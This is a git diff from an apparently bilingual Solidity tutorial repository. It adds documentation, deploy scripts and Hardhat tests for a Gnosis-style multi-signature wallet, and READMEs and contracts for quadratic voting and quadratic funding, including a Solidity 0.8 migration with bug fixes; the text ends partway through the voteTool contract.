+> The old version of the multi-sig-wallet contract uses the 0.4.x version of solidity, and the original repo has been deprecated. The new version is called Gnosis-Safe-Contracts, which integrates multiple security contract modules. Due to the large amount of code in the new version and inconvenient to understand, we still use the old version to learn and understand its usage process and how it work.
+
+- Old Version multi-sig-wallet: gnosis MultiSigWallet: <https://github.com/gnosis/MultiSigWallet>
+- New Version Gnosis Safe Contracts: <https://github.com/safe-global/safe-contracts>
+
+## Contract Index
+
+> contract address: <https://github.com/gnosis/MultiSigWallet/tree/master/contracts>
+
+- MultiSigWallet.sol
+- MultiSigWalletFactory.sol
+- MultiSigWalletWithDailyLimit.sol
+- MultiSigWalletWithDailyLimitFactory.sol
+- TestCalls.sol
+- TestToken.sol
+
+## Contract Interface
+
+- contructor
+
+  Initialize the list of signers, each transaction requires at least few signatures.
+
+- addOwner
+
+  Add new owner of wallet.
+
+- replaceOwner
+
+  Replace existing signer owner with new owner.
+
+- changeRequirement
+
+  Change the minimum number of signatures.
+
+- submitTransaction
+
+  Submit a transaction with contract address, amount and transaction data parameters.
+
+- confirmTransaction
+
+  Confirm the transaction by transaction id. Confirm that the transaction can be executed, if the number of confirmed owners has reached the minimum requirement, the transaction will be executed automatically.
+
+- revokeConfirmation
+
+  Revoke the confirmed transaction.
+
+- executeTransaction
+
+  If the number of confirmed owners has reached the minimum requirement, Execute the corresponding transaction by id.
+
+- isConfirmed
+
+  Check the number of transaction's confirmed owners has reached the minimum requirement.
+
+- getConfirmationCount
+
+  Get the number of times a transaction is currently confirmed.
+
+- getTransactionCount
+
+  Query the number of transactions, the two input parameters are: whether to include transactions in processing, whether to include processed transactions.
+
+- getOwners
+
+  Get owners addresses.
+
+- getConfirmations
+
+  Get confirmers of a transaction.
+
+- getTransactionIds
+  
+  Query the list of transaction ids, the parameters are: from, to, pending (whether it is in processing), executed (whether it is processed)
+
+## Quick Start
+
+- install dependencies
+
+  ```sh
+  yarn
+  ```
+
+- compile contracts
+
+  ```sh
+  npx hardhat compile
+  ```
+
+- test contracts
+
+  ```sh
+  npx hardhat test
+  ```
+
+- deploy contracts
+
+  ```sh
+  npx hardhat run scripts/deploy.js  --network kovan
+  ```
+
+## TODO
+
+- New Version Gnosis Safe Contracts: <https://github.com/safe-global/safe-contracts>
+
+## Reference
+
+- [Now open source: friendly multi-signatures for Ethereum 🔑](https://medium.com/dsys/now-open-source-friendly-multi-signatures-for-ethereum-d75ca5a0dc5c)
+- gnosis usage: <https://gnosis-safe.io/app/#/welcome>
+- gnosis contract address(Polygon): <https://polygonscan.com/address/0xa6b71e26c5e0845f74c812102ca7114b6a896ab2#code>
+- Construct your own gnosis multi-signature transaction: <https://mp.weixin.qq.com/s/qgbTnchCHup24ANprGXH5Q>
diff --git a/basic/25-multi-sig-wallet/scripts/deploy.js b/basic/25-multi-sig-wallet/scripts/deploy.js
new file mode 100644
index 000000000..fad5c8535
--- /dev/null
+++ b/basic/25-multi-sig-wallet/scripts/deploy.js
@@ -0,0 +1,32 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional 
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const hre = require("hardhat");
+
+async function main () {
+    const [Alice] = await ethers.getSigners();
+    console.log("MultiSigWallet owner is :", Alice.address);
+    
+    //部署MyToken.sol
+    const MultiSigWalletContractFactory = await ethers.getContractFactory("MultiSigWallet");
+    const multiSigWallet = await MultiSigWalletContractFactory.deploy([Alice.address], 1);
+    await multiSigWallet.deployed();
+    
+    console.log("MultiSigWallet Contract address:", multiSigWallet.address);
+
+    // Deploy Verify sol
+    const verifyContractFactory = await ethers.getContractFactory("Verifier");
+    const verify = await verifyContractFactory.deploy();
+    await verify.deployed();
+
+    console.log("Verifier Contract address: ", verify.address)
+}
+
+main()
+    .then(() => process.exit(0))
+    .catch(error => {
+        console.error(error);
+        process.exit(1);
+    });
\ No newline at end of file
diff --git a/basic/25-multi-sig-wallet/test/Hello.js b/basic/25-multi-sig-wallet/test/Hello.js
new file mode 100644
index 000000000..fc97eea43
--- /dev/null
+++ b/basic/25-multi-sig-wallet/test/Hello.js
@@ -0,0 +1,14 @@
+describe("Hello test",function(){
+  it("test function of Hello.sol",async function(){
+    //测试账号数组
+    const HelloContractFactory = await ethers.getContractFactory("Hello");
+    const helloContract = await HelloContractFactory.deploy();
+    await helloContract.deployed();
+    console.log("Hello Contract address:",helloContract.address);
+
+    //在多签钱包添加一笔交易
+    const tokenArtifact = await hre.artifacts.readArtifact("Hello");
+    console.log("abi of hello:",tokenArtifact.abi);
+  });
+});
+
diff --git a/basic/25-multi-sig-wallet/test/MultiSigWallet.js b/basic/25-multi-sig-wallet/test/MultiSigWallet.js
new file mode 100644
index 000000000..f36874b60
--- /dev/null
+++ b/basic/25-multi-sig-wallet/test/MultiSigWallet.js
@@ -0,0 +1,101 @@
+const { expect } = require("chai");
+
+
+
+function getPayLoad(contractABI,functionName,param){
+  for(let i=0;i<contractABI.length;i++){
+    const functionABI = contractABI[i];
+    if (functionName !== functionABI.name) {
+      continue;
+    }
+
+    //get sigHash of function
+    const contractInterface = new ethers.utils.Interface(contractABI);
+    const functionSigHash = contractInterface.getSighash(functionName);
+    console.log("sign of method:%s is %s",functionName,functionSigHash);
+
+    //encode param
+    const abiCoder =new ethers.utils.AbiCoder()
+    const codeOfParam =  abiCoder.encode(['uint256'],[param])
+    console.log("codeOfParam:",codeOfParam);
+
+
+    //payload
+    const payload = functionSigHash + codeOfParam.substring(2,codeOfParam.length);
+    console.log("payload:",functionName,payload);
+    return payload;
+  }
+}
+
+describe("MultiSigWallet test",function(){
+  it("test function of MultiSigWallet.sol",async function(){
+    //测试账号数组
+    const [Alice,Bob,David] = await ethers.getSigners();
+    console.log("Alice address: %s\n Bob address: %s\n David address: %s\n",
+        Alice.address,Bob.address,David.address);
+
+    //部署多签合约`MultiSigWallet.sol`
+    const MultiSigWalletContractFactory = await ethers.getContractFactory("MultiSigWallet");
+    const multiSigWalletContract = await MultiSigWalletContractFactory.deploy([Alice.address,Bob.address,David.address],2);
+    await multiSigWalletContract.deployed();
+    console.log("MultiSigWallet Contract address: ",multiSigWalletContract.address);
+
+    //部署交易合约`Hello.sol`,该合约的交易只能由上面的那个合约触发
+    const HelloContractFactory = await ethers.getContractFactory("Hello");
+    const helloContract = await HelloContractFactory.deploy();
+    await helloContract.deployed();
+    console.log("Hello Contract address: ",helloContract.address);
+
+    //在多签钱包添加一笔交易
+    const tokenArtifact = await hre.artifacts.readArtifact("Hello");
+    const payload = getPayLoad(tokenArtifact.abi,"set",233);
+    const submitTransaction = await multiSigWalletContract.submitTransaction(helloContract.address, 0, payload);
+    const transactionReceipt = await submitTransaction.wait();
+
+    // 检查结果（不通过） 当前有1人确认
+    expect((await helloContract.balance()).toString()).not.to.equal("233");
+
+    //当前交易数量是 1
+    const transactionCount = await multiSigWalletContract.transactionCount();
+    console.log("transaction count: ",transactionCount);
+    expect(transactionCount.toString()).to.equal("1");
+
+    const transactionId = await transactionReceipt.events[0].args.transactionId
+    console.log("transaction id: ",transactionId);
+
+    //当前已确认人数是 1
+    const confirmations1 = await multiSigWalletContract.getConfirmations(transactionId)
+    console.log("confirmations number: ",confirmations1.length);
+    expect(confirmations1.length.toString()).to.equal("1");
+
+    const isConfirmed1 = await multiSigWalletContract.isConfirmed(transactionId)
+    console.log("is confirmed: ", isConfirmed1);
+    expect(isConfirmed1).to.equal(false);
+
+    //最小需要确认人数是 2
+    const requiredCount = await multiSigWalletContract.required()
+    console.log("required count: ", requiredCount);
+    expect(requiredCount.toString()).to.equal("2");
+
+    //可确认交易人数是 3
+    const owners = await multiSigWalletContract.getOwners()
+    console.log("owners count: ", owners.length);
+    expect(owners.length.toString()).to.equal("3");
+
+    //其他参与者确认
+    await multiSigWalletContract.connect(Bob).confirmTransaction(transactionId);
+
+    //当前已确认人数是 2
+    const confirmations2 = await multiSigWalletContract.connect(Bob).getConfirmations(transactionId)
+    console.log("confirmations number: ",confirmations2.length);
+    expect(confirmations2.length.toString()).to.equal("2");
+
+    const isConfirmed2 = await multiSigWalletContract.connect(Bob).isConfirmed(transactionId)
+    console.log("is confirmed: ", isConfirmed2);
+    expect(isConfirmed2).to.equal(true);
+
+    // 再次检查结果（通过） 当前有2人确认
+    expect((await helloContract.balance()).toString()).to.equal("233");
+  });
+});
+
diff --git a/basic/25-multi-sig-wallet/test/Verifier.js b/basic/25-multi-sig-wallet/test/Verifier.js
new file mode 100644
index 000000000..d20164c49
--- /dev/null
+++ b/basic/25-multi-sig-wallet/test/Verifier.js
@@ -0,0 +1,24 @@
+const { expect } = require("chai");
+
+describe("Verifier Contract",function(){
+  it('test function of recoverSigner', async function () {
+    const [Alice] = await ethers.getSigners()
+    console.log('Owner address is: ', Alice.address)
+
+    // Deploy Verify sol
+    const verifyContractFactory = await ethers.getContractFactory('Verifier')
+    const verifyContract = await await verifyContractFactory.deploy()
+    await verifyContract.deployed()
+    console.log('Verifier Contract address: ', verifyContract.address)
+
+    let messageHash = ethers.utils.id('Hello World')
+    let messageHashBytes = ethers.utils.arrayify(messageHash)
+
+    // Sign the binary data
+    let flatSig = await Alice.signMessage(messageHashBytes)
+    // Call the verifyString function
+    let recovered = await verifyContract.recoverSigner(messageHash, flatSig)
+
+    expect(recovered).to.equal(Alice.address)
+  })
+});
diff --git a/basic/26-quadratic-vote&gitcoin/.env.example b/basic/26-quadratic-vote&gitcoin/.env.example
new file mode 100644
index 000000000..db493f1ed
--- /dev/null
+++ b/basic/26-quadratic-vote&gitcoin/.env.example
@@ -0,0 +1 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
\ No newline at end of file
diff --git a/Example23-erc865-and-erc875/.gitignore b/basic/26-quadratic-vote&gitcoin/.gitignore
similarity index 100%
rename from Example23-erc865-and-erc875/.gitignore
rename to basic/26-quadratic-vote&gitcoin/.gitignore
diff --git a/basic/26-quadratic-vote&gitcoin/README-CN.md b/basic/26-quadratic-vote&gitcoin/README-CN.md
new file mode 100644
index 000000000..12bc6df07
--- /dev/null
+++ b/basic/26-quadratic-vote&gitcoin/README-CN.md
@@ -0,0 +1,167 @@
+中文 / [English](./README.md)
+# Quadratic Voting and Quadratic Funding
+
+## 概念介绍
+
+在公共领域的治理中，需要投票决定资金的使用，进而决定哪些项目获得优先的资助。例如，一个城市在修公园、修医院、修路等项目中分配预算，或一个由社区和机构共同资助的公链生态基金在钱包、开发者工具、文档编辑、黑客马拉松、社区播客、隐私协议等项目中分配预算。  
+投票通常有两种方式：“一人一票”和“一块钱一票”。
+
+### 一人一票
+
+一人一票的本质是无论你多在意一件事，你只能给它投一票。在 Vitalik 的文章中，一人一票被解释为：如果你关心一件事（或者一个公共物品/项目），那么你投一第一票的成本极低，但如果还想继续贡献的话，成本变为无限高（因为你只有一票）
+
+### 一块钱一票
+
+一块钱一票是一种用钱（或 Token）投票的方式。这种方式让更关心一个问题的人可以贡献更多（前提是你有足够多的钱/Token）。例如，PoS 共识就实现了这种想法。很明显，这种方式导致可以用钱买影响力。例如一个社区希望在修路和在街角建花园两个公共基础设施项目上分配预算。可能大多数人都更关心道路，但有一个住在街角的富人非常关心在街角建花园。这时，这个富人可以付出很多钱，结果是大部分人关心的项目可能输给极少人关心的项目
+
+### 思考
+
+如果我们希望同时考虑人们对不同问题的关注程度，又避免完全“用钱买影响力”的困局，应该怎么办呢？ 这个时候就可以使用 "二次方投票" 和 "二次方资助"
+
+### Quadratic-Voting
+
+平方投票允许投票者为额外投票“付费”，以更强烈地表达对特定议题的支持，从而导致投票结果与支付结果的最高意愿一致，而不仅仅是用户偏好的结果。无论个人偏好的强度如何。投票的支付可以通过人工或真实货币（例如，在投票成员之间平均分配代币或使用真实货币）。平方投票是基数投票类别中累积投票的变体。它与累积投票的不同之处在于将“成本”和“投票”关系从线性变为平方。
+
+基于市场原则，平方投票每个投票者都会事先获得了一些投票点数。他们可以使用这些点数来投票，藉以影响投票结果。如果投票者强烈支持或反对特定决定，可以花费点数，来取得额外的选票。平方投票，借此显示选民的支持、反对程度。选票价格规则决定了额外投票的成本，每多取得一次额外投票的成本会变得越来越昂贵。通过增加选民点数成本，来凸显个人对特定决定的支持。如果使用金钱，而非点数，这些花费最终会透过公共支出返回至选民身上。格伦·韦尔和 Steven Lalley 进行了相关研究，主张平方投票法的决策效率会随着选民数量的增加而增加。平方投票函数的简化公式是:
+
+```math
+选民的投票成本 = (投票数)^2
+```
+
+智能合约中的公式稍有不同：
+
+```math
+选民的投票成本 = 2^0 + 2^1 + 2^2 + ... + 2^(n-1)
+```
+
+## 代码解读
+
+1. voteTool 二次方投票
+2. FinancingTool 二次方融资
+
+### 共性一
+
+两个的提案都是先通过 hash 获取到 id
+
+```solidity
+function hash(bytes memory _b) public pure returns (bytes32){
+    return keccak256(_b);
+}
+```
+
+由于 `bytes` 和 `string` 等动态类型作为 event 的 indexed 参数，将会被 hash，所以直接把 hash 数值作为投票的 id 值。
+
+### 共性二
+
+0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE
+表示接受以太坊，其他表示接受代币
+
+另外， 两个都是例子，实际按照需求稍微修改即可
+
+### voteTool
+
+二次方投票， 票数越多，需要金额越多
+
+例： 第一票 1eth，第二票 2eth， 第三票 4eth，第四票 8eth...
+
+那么第 n 票的成本则是：
+
+```math
+cost to the voter = 2^(n-1)
+```
+
+暂未兼容 eth/token 一起投
+
+- `addProposal(uint256 _proposal) public onlyOwner` （添加提案）
+- `expireProposal(uint256 _proposal) public onlyOwner` （过期后无法再投票）
+- `vote(uint256 _proposal, uint256 _n) public payable` (投票)
+- `withdraw() public onlyOwner` (内部只是提 eth, 代币需要修改)
+
+### financingTool
+
+![quadratic_funding.png](https://vitalik.eth.limo/images/qv-files/quadratic_funding.png)
+
+每个用户针对某个提案投票都是总金额的开平方
+
+1. 每个绿色的方块代表一次捐助的金额，大正方形的面积 C 可以理解为总资助池金额，而黄色部分面积 S 可以理解为一个由外部支持的补助资金池。我们把所有绿色方块排列在大正方形的对角线上。这时，每一个贡献者投入的金额是 `c_i`，那么大正方形的面积是 `C=(sum(sqrt(c_i)))^2`，补助金额 `S=C−sum(c_i)`
+2. 在任何时候，只要有多于一个贡献者，那么 `C > sum(c_i)`
+3. 如果 S 和补助资金池不完全一致，可以根据黄色的面积按比例分配
+4. 多次小额的捐助可以导致很大的黄色面积，从而让项目赢得更多的资金配比
+
+```solidity
+/**
+    公式解读由 Harry 提供:
+    绿色：
+    项目A：1*1 = 1
+    项目B：
+    用户1：4：边长2
+    用户2：16：边长4，总计 6
+    用户1：12，总计：6-2+（4+12)开根号=8
+    项目C：2*2=4
+    项目D：3*3=9
+
+    底边总长度：1+8+2+3=14
+
+    总方块面积：14*14 = 196
+
+    配捐 = 196-（1+32+4+9） = 150
+
+    最终：
+    A：1 + 1/14 * 150 = 11.714285714
+    B: 32 + 8/14 * 150 = 117.714285714
+    C: 4 + 2/14 * 150 = 25.428571429
+    D: 9 + 3/14 * 150 = 41.142857143
+*/
+
+struct Proposal {
+    uint256 name;//提案id
+    uint256 amount;//获得的金额
+    uint256 voteCount;//获得的份额
+    address owner;
+    address[] userAddrArr;//捐助用户地址
+    uint8 isEnd;//0,1
+}
+
+struct UserVote {//每个用户每个提案会有一个实例
+    uint256 count;//份额
+    uint256 amount;//金额
+}
+
+```
+
+场景：每个人可以对多个提案进行捐助，在一定时间内结束，结束后给一定时间用于增加配捐时间，确认完整结束后，可以由提案 owner 去领取捐助额。
+
+- `addProposal(uint256 _proposal) public onlyOwner` (添加提案, 内部的 p.owner=msg.sender 有误, 看需求修改)
+- `vote(uint256 _proposal, uint256 _inAmount) public payable` (捐助)
+- `addExtraAmount(address _maker, uint256 _inAmount) public payable` (配捐, _maker 标记谁配捐的)
+- `withdrawProposal(uint256 _proposal) public checkEnd` (结束后提取捐助额)
+- `function getResult(uint256 _proposal) public view returns (uint256, uint256)` (查询提案目前的捐助额/份额)
+- 其他就是相关查询方法,  test 开头的只是测试方法
+
+## 测试步骤
+
+- 安装依赖
+
+  ```sh
+  yarn
+  ```
+
+- 编译合约
+
+  ```sh
+  npx hardhat compile
+  ```
+
+- 执行测试脚本
+
+  ```sh
+  npx hardhat test
+  ```
+
+## 参考资料
+
+- [Quadratic Payments: A Primer](https://vitalik.eth.limo/general/2019/12/07/quadratic.html)
+- [二次方投票和二次方资助](https://www.matataki.io/p/6113)
+- [视频](https://www.bilibili.com/video/BV1Y5411w77b/)
+- [gitcoin](https://gitcoin.co/blog/gitcoin-grants-quadratic-funding-for-the-world/)
+- [Quadratic voting-WIKI](https://en.wikipedia.org/wiki/Quadratic_voting)
diff --git a/basic/26-quadratic-vote&gitcoin/README.md b/basic/26-quadratic-vote&gitcoin/README.md
new file mode 100644
index 000000000..eabd41bba
--- /dev/null
+++ b/basic/26-quadratic-vote&gitcoin/README.md
@@ -0,0 +1,168 @@
+[中文](./README-CN.md) / English
+# Quadratic Voting and Quadratic Funding
+
+## Concept
+
+In the governance of the public sphere, votes are needed to decide where the funds will be spent, and which projects will receive priority funding. For example, a city may allocate its budget for projects such as parks, hospitals, roads. Or a blockchain project funded by communities and institutions may allocate its budget for projects such as wallets, developer tools, document editing, hackathons, community podcasts, privacy agreements, etc.
+
+There are usually two ways to vote: "one-person-one-vote" and "one-dollar-one-vote."
+
+### One-Person-One-Vote
+
+The nature of "one-person-one-vote" is that no matter how much you care about something, you can only vote for it once. In Vitalik's article, one-person-one-vote is: if you care about an issue (or a public good/project), the cost of your first vote is extremely low, but if you want to continue to contribute, the cost becomes infinitely high (because you only have one vote).
+
+### One-Dollar-One-Vote
+
+One-dollar-one-vote is a way to vote with money (or Token), people who care more about an issue can contribute more (provided you have enough money/tokens). For example, the PoS consensus implements this idea. This approach leads to the ability to buy influence.
+
+Suppose a community wants to allocate its budget for two public infrastructure projects: a road and a garden on a street corner. Perhaps most people are more concerned about the road, but the rich man who lives on the corner is very concern about having a garden on the corner. The rich man will pay a lot of money, and as a result, projects that most people care about may lose out to projects that few people care about.
+
+### Think
+
+What if we want to take into account people's concerns about different issues at the same time, without completely "buying influence"? That's when you can use quadratic vote and quadratic fund.
+
+### Quadtratic-Voting
+
+Quadratic voting is a collective decision-making procedure which involves individuals allocating votes to express the degree of their preferences, rather than just the direction of their preferences. By doing so, quadratic voting seeks to address issues of voting paradox and majority rule. Quadratic voting works by allowing users to "pay" for additional votes on a given matter to express their support for given issues more strongly, resulting in voting outcomes that are aligned with the highest willingness to pay outcome, rather than just the outcome preferred by the majority regardless of the intensity of individual preferences. The payment for votes may be through either artificial or real currencies (e.g. with tokens distributed equally among voting members or with real money). Quadratic voting is a variant of cumulative voting in the class of cardinal voting. It differs from cumulative voting by altering "the cost" and "the vote" relation from linear to quadratic.
+
+Quadratic voting is based upon market principles, where each voter is given a budget of vote credits that they have the personal decisions and delegation to spend in order to influence the outcome of a range of decisions. If a participant has a strong support for or against a specific decision, additional votes could be allocated to proportionally demonstrate the voter's support. A vote pricing rule determines the cost of additional votes, with each vote becoming increasingly more expensive. By increasing voter credit costs, this demonstrates an individual's support and interests toward the particular decision. If money is used, it is eventually cycled back to the voters based upon per capita. Both E Glen Weyl and Steven Lalley conducted research in which they claim to demonstrate that this decision-making policy expedites efficiency as the number of voters increases. The simplified formula on how quadratic voting functions is:
+
+```math
+cost to the voter = (number of votes)^2
+```
+
+The formula in smart contracts is slightly different:
+
+```math
+cost to the voter =  = 2^0 + 2^1 + 2^2 + ... + 2^(number of votes - 1)
+```
+
+## Code Review
+
+1. voteTool quadratic vote
+2. FinancingTool quadratic fund
+
+### Common One
+
+In both cases, the ID is obtained using hash
+
+```solidity
+function hash(bytes memory _b) public pure returns (bytes32){
+    return keccak256(_b);
+}
+```
+
+Since dynamic value types such as `bytes` and `string` will be hashed in the event indexed parameters, the hash value is directly used as the id value of the vote.
+
+### Common Two
+
+Address `0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE` means accepting ETH, and the other means accepting tokens.
+
+Both Addresses are examples and can be modified as required.
+
+### VoteTool
+
+Quadratic vote, the more votes, the more money needed.
+
+Example: the first ticket 1ETH, the second ticket 2ETH, the third ticket 4ETH, the fourth ticket 8ETH...
+
+Then the cost of the n-th vote is:
+
+```math
+cost of n-th vote = 2^(n-1)
+```
+
+Using both eth and Token for voting is not implemented for now.
+
+- `addProposal(uint256 _proposal) public onlyOwner` add proposal
+- `expireProposal(uint256 _proposal) public onlyOwner` make proposal expired (Voters will no longer be able to vote)
+- `vote(uint256 _proposal, uint256 _n) public payable` vote
+- `withdraw() public onlyOwner` withdraw eth to voter
+
+### FinancingTool
+
+![quadratic_funding.png](https://vitalik.eth.limo/images/qv-files/quadratic_funding.png)
+
+Each user vote on a proposal is the square root of the total amount ().
+
+1. Each green square represents the amount of a donation, the area of the large square C can be interpreted as the total grant pool amount, and the yellow area S can be interpreted as an externally supported grant pool. Now, the amount each contributor contributes is `c_i`, so the area of that big square is `C=(sum(sqrt(c_i)))^2`, amount of math `S=C−sum(c_i)`
+2. At any one time, if there is more than one contributor, then `C > sum(c_i)`
+3. If S and the subsidy pool are not exactly the same, they can be allocated proportionally according to the yellow area
+4. Multiple small donations can result in large yellow acreage, allowing projects to win more funding allocations
+
+```solidity
+/**
+    Formula interpretation provided by Harry:
+    Green: 
+    project A: 1*1 = 1
+    project B: 
+    user1: 4: length 2
+    user2: 16: length 4, total 6
+    user1: 12, total: 6 - 2 + sqrt(4+12) = 8
+    project C: 2*2=4
+    project D: 3*3=9
+
+    Total bottom length : 1+8+2+3=14
+
+    Total square area: 14*14 = 196
+
+    math amount = 196-（1+32+4+9） = 150
+
+    Finally: 
+    A: 1 + 1/14 * 150 = 11.714285714
+    B: 32 + 8/14 * 150 = 117.714285714
+    C: 4 + 2/14 * 150 = 25.428571429
+    D: 9 + 3/14 * 150 = 41.142857143
+*/
+
+struct Proposal {
+    uint256 name;// proposal id
+    uint256 amount;// received amount
+    uint256 voteCount;
+    address owner;
+    address[] userAddrArr;// voter address
+    uint8 isEnd;// 0 not end, 1 ended
+}
+
+struct UserVote {// Each user will have one instance of each proposal
+    uint256 count;
+    uint256 amount;
+}
+
+```
+
+Case: Each person can donate to multiple proposals within a certain period of time. A certain amount of time will be allocated to increase the donation time after the proposal complete. After confirming the complete completion, the proposal owner can claim the donation amount.
+
+- `addProposal(uint256 _proposal) public onlyOwner` add new proposal, the code p.owner=msg.sender is wrongand can be modified
+- `vote(uint256 _proposal, uint256 _inAmount) public payable` vote and donate
+- `addExtraAmount(address _maker, uint256 _inAmount) public payable` add money to subsidy, _maker is donator
+- `withdrawProposal(uint256 _proposal) public checkEnd` withdraw money after proposal ended
+- `function getResult(uint256 _proposal) public view returns (uint256, uint256)` View the current contribution amount/share of the proposal
+
+## Quick Start
+
+- install dependencies
+
+  ```sh
+  yarn
+  ```
+
+- compile contracts
+
+  ```sh
+  npx hardhat compile
+  ```
+
+- run test scripts
+
+  ```sh
+  npx hardhat test
+  ```
+
+## Reference
+
+- [Quadratic Payments: A Primer (by vitalik)](https://vitalik.eth.limo/general/2019/12/07/quadratic.html)
+- [Quadratic vote and quadratic funde (from zhihu)](https://www.matataki.io/p/6113)
+- [video intro](https://www.bilibili.com/video/BV1Y5411w77b/)
+- [gitcoin](https://gitcoin.co/blog/gitcoin-grants-quadratic-funding-for-the-world/)
+- [Quadratic voting-WIKI](https://en.wikipedia.org/wiki/Quadratic_voting)
diff --git a/Example27-quadratic-vote/contracts/FinancingTool.sol b/basic/26-quadratic-vote&gitcoin/contracts/FinancingTool.sol
similarity index 83%
rename from Example27-quadratic-vote/contracts/FinancingTool.sol
rename to basic/26-quadratic-vote&gitcoin/contracts/FinancingTool.sol
index b55692782..2cf42ff22 100644
--- a/Example27-quadratic-vote/contracts/FinancingTool.sol
+++ b/basic/26-quadratic-vote&gitcoin/contracts/FinancingTool.sol
@@ -1,4 +1,7 @@
-pragma solidity ^0.6.6;
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/utils/math/SafeMath.sol";
 
 interface IERC20 {
 
@@ -14,51 +17,6 @@ interface IERC20 {
 
 }
 
-library SafeMath {
-    function add(uint256 a, uint256 b) internal pure returns (uint256) {
-        uint256 c = a + b;
-        require(c >= a, "SafeMath: addition overflow");
-
-        return c;
-    }
-
-    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
-        require(b <= a, "SafeMath: subtraction overflow");
-        uint256 c = a - b;
-
-        return c;
-    }
-
-    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
-        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
-        // benefit is lost if 'b' is also tested.
-        // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
-        if (a == 0) {
-            return 0;
-        }
-
-        uint256 c = a * b;
-        require(c / a == b, "SafeMath: multiplication overflow");
-
-        return c;
-    }
-
-    function div(uint256 a, uint256 b) internal pure returns (uint256) {
-        // Solidity only automatically asserts when dividing by 0
-        require(b > 0, "SafeMath: division by zero");
-        uint256 c = a / b;
-        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
-
-        return c;
-    }
-
-    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
-        require(b != 0, "SafeMath: modulo by zero");
-        return a % b;
-    }
-
-}
-
 contract FinancingTool {
     function safeTransfer(address token, address to, uint256 value) internal {
         (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
@@ -113,8 +71,8 @@ contract FinancingTool {
     constructor() public {
         owner = msg.sender;
         tokenAddr = emptyAddr;
-        startTime = now;
-        endTime = now + 10 days;
+        startTime = block.timestamp;
+        endTime = block.timestamp + 1;  // 测试需要，这里修改 endTime 为 block.timestamp + 1, 实际中应该根据具体需求进行修改
     }
 
 
@@ -125,11 +83,11 @@ contract FinancingTool {
 
 
     modifier checkStart(){
-        require(now >= startTime, "not start");
+        require(block.timestamp >= startTime, "not start");
         _;
     }
     modifier checkEnd(){
-        require(now >= endTime, "not end");
+        require(block.timestamp >= endTime, "not end");
         _;
     }
 
@@ -140,6 +98,8 @@ contract FinancingTool {
         uint256 index = proposalMap[_proposal];
         require(index > 0, "not exists");
         //-1
+        Proposal storage p = proposals[index - 1];  
+        require(p.isEnd == 0, "withdrawn");
 
         if (tokenAddr != emptyAddr) {
             require(msg.value == 0, "eth 0");
@@ -215,7 +175,7 @@ contract FinancingTool {
     }
 
     function withdrawProposal(uint256 _proposal) public checkEnd {
-        Proposal storage p = proposals[proposalMap[_proposal]];
+        Proposal storage p = proposals[proposalMap[_proposal] - 1];  // 这里应该是 proposalMap[_proposal] - 1, 原始代码有误
         require(p.owner == msg.sender, "now owner");
         require(p.isEnd == 0, "withdrawn");
         (uint256 amount,uint256 count) = getResult(_proposal);
@@ -225,7 +185,7 @@ contract FinancingTool {
     }
 
     function withdraw() public onlyOwner {
-        msg.sender.transfer(address(this).balance);
+        payable(msg.sender).transfer(address(this).balance);
     }
 
     function withdrawToken(address _tokenAddr, uint256 _amount) public onlyOwner {
@@ -249,7 +209,7 @@ contract FinancingTool {
     }
 
     function getProposalUser(uint256 _proposal, uint256 start, uint256 len) public view returns (address[] memory arr){
-        Proposal  memory p = proposals[proposalMap[_proposal]];
+        Proposal  memory p = proposals[proposalMap[_proposal] - 1]; // 这里应该是 proposalMap[_proposal] - 1, 原始代码有误
         uint256 end = start.add(len);
         require(end <= p.userAddrArr.length, "out range");
         arr = new address[](len);
@@ -320,9 +280,9 @@ contract FinancingTool {
 
     }
 
-    function _withdrawToken(address erc, address payable _to, uint256 _value) internal {
+    function _withdrawToken(address erc, address _to, uint256 _value) internal {
         if (erc == emptyAddr) {
-            _to.transfer(_value);
+            payable(_to).transfer(_value);
         } else {
             safeTransfer(erc, _to, _value);
         }
diff --git a/basic/26-quadratic-vote&gitcoin/contracts/SimpleToken.sol b/basic/26-quadratic-vote&gitcoin/contracts/SimpleToken.sol
new file mode 100644
index 000000000..2476f9739
--- /dev/null
+++ b/basic/26-quadratic-vote&gitcoin/contracts/SimpleToken.sol
@@ -0,0 +1,28 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol";
+
+contract SimpleToken is ERC20PresetMinterPauser {
+    /**
+     * @dev Constructor that gives msg.sender all of existing tokens.
+     */
+
+    uint8 private _decimals;
+    uint256 public INITIAL_SUPPLY;
+
+    function decimals() public view override returns (uint8) {
+        return _decimals;
+    }
+
+    constructor(
+        string memory name,
+        string memory symbol,
+        uint8 decimals_,
+        uint256 initial_supply
+    ) ERC20PresetMinterPauser(name, symbol) {
+        _decimals = decimals_;
+        INITIAL_SUPPLY = initial_supply * (10**uint256(decimals_));
+        _mint(msg.sender, initial_supply * (10**uint256(decimals_)));
+    }
+}
diff --git a/basic/26-quadratic-vote&gitcoin/contracts/voteTool.sol b/basic/26-quadratic-vote&gitcoin/contracts/voteTool.sol
new file mode 100644
index 000000000..846c79e8b
--- /dev/null
+++ b/basic/26-quadratic-vote&gitcoin/contracts/voteTool.sol
@@ -0,0 +1,116 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/utils/math/SafeMath.sol";
+
+
+contract VoteTool {
+
+    function safeTransfer(address token, address to, uint256 value) internal {
+        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
+        require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
+    }
+
+    function safeTransferFrom(address token, address from, address to, uint value) internal {
